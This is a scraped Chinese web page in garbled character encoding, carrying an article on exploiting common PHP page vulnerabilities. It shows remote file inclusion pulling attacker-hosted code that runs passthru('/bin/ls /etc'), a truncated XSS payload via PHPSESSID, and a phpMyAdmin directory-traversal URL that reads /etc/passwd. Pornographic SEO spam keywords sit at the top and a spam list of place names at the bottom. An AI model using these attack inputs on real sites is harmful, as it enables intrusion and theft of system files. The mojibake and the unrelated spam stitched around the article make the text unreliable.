国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 開發(fā) > PHP > 正文

常見php頁(yè)面漏洞分析及相關(guān)問題解決

2024-05-04 21:51:18
字體:
供稿:網(wǎng)友

從現(xiàn)在的網(wǎng)絡(luò)安全來看,大家最關(guān)注和接觸最多的WEB頁(yè)面漏洞應(yīng)該是ASP了,在這方面,小竹是專家,我沒發(fā)言權(quán)。然而在PHP方面來看,也同樣存在很嚴(yán)重的安全問題,但是這方面的文章卻不多。在這里,就跟大家來稍微的討論一下PHP頁(yè)面的相關(guān)漏洞吧。
  
我對(duì)目前常見的PHP漏洞做了一下總結(jié),大致分為以下幾種:包含文件漏洞,腳本命令執(zhí)行漏洞,文件泄露漏洞,SQL注入漏洞等幾種。當(dāng)然,至于COOKIE欺騙等一部分通用的技術(shù)就不在這里討論了,這些資料網(wǎng)上也很多。那么,我們就一個(gè)一個(gè)來分析一下怎樣利用這些漏洞吧!
  
首先,我們來討論包含文件漏洞。這個(gè)漏洞應(yīng)該說是PHP獨(dú)有的吧。這是由于不充分處理外部提供的惡意數(shù)據(jù),從而導(dǎo)致遠(yuǎn)程攻擊者可以利用這些漏洞以WEB進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意命令。我們來看一個(gè)例子:假設(shè)在a.php中有這樣一句代碼:

  

以下為引用的內(nèi)容:
include($include."/xxx.php");
  ?>

在這段代碼中,$include一般是一個(gè)已經(jīng)設(shè)置好的路徑,但是我們可以通過自己構(gòu)造一個(gè)路徑來達(dá)到攻擊的目的。比方說我們提交:a.php?include=http://web/b.php,這個(gè)web是我們用做攻擊的空間,當(dāng)然,b.php也就是我們用來攻擊的代碼了。我們可以在b.php中寫入類似于:passthru("/bin/ls /etc");的代碼。這樣,就可以執(zhí)行一些有目的的攻擊了。(注:web服務(wù)器應(yīng)該不能執(zhí)行php代碼,不然就出問題了。相關(guān)詳情可以去看<<如何對(duì)PHP程序中的常見漏洞進(jìn)行攻擊>>)。在這個(gè)漏洞方面,出狀況的很多,比方說:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。
  
接著,我們?cè)賮砜匆幌履_本命令執(zhí)行漏洞。這是由于對(duì)用戶提交的URI參數(shù)缺少充分過濾,提交包含惡意HTML代碼的數(shù)據(jù),可導(dǎo)致觸發(fā)跨站腳本攻擊,可能獲得目標(biāo)用戶的敏感信息。我們也舉個(gè)例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁(yè)面對(duì)PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來達(dá)到攻擊的目的:http://web/index.php?PHPSESSID=">在script里面我們可以構(gòu)造函數(shù)來獲得用戶的一些敏感信息。在這個(gè)漏洞方面相對(duì)要少一點(diǎn),除了PHP Transparent之外還有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。
  
再然后,我們就來看看文件泄露漏洞了,這種漏洞是由于對(duì)用戶提交參數(shù)缺少充分過濾,遠(yuǎn)程攻擊者可以利用它進(jìn)行目錄遍歷攻擊以及獲取一些敏感信息。我們拿最近發(fā)現(xiàn)的phpMyAdmin來做例子。在phpMyAdmin中,export.php頁(yè)面沒有對(duì)用戶提交的'what'參數(shù)進(jìn)行充分過濾,遠(yuǎn)程攻擊者提交包含多個(gè)'../'字符的數(shù)據(jù),便可繞過WEB ROOT限制,以WEB權(quán)限查看系統(tǒng)上的任意文件信息。比方說打入這樣一個(gè)地址:export.php?what=../../../../../../etc/passwd

主站蜘蛛池模板: 崇明县| 陕西省| 水城县| 武威市| 拜泉县| 利津县| 旌德县| 南和县| 长泰县| 莒南县| 汝州市| 城市| 攀枝花市| 酉阳| 黑河市| 莫力| 临清市| 都兰县| 青浦区| 惠安县| 五河县| 积石山| 墨玉县| 怀柔区| 尖扎县| 泰州市| 镇康县| 苗栗市| 桐城市| 叙永县| 松滋市| 南通市| 长海县| 长汀县| 双牌县| 武定县| 客服| 荔波县| 金门县| 巨鹿县| 藁城市|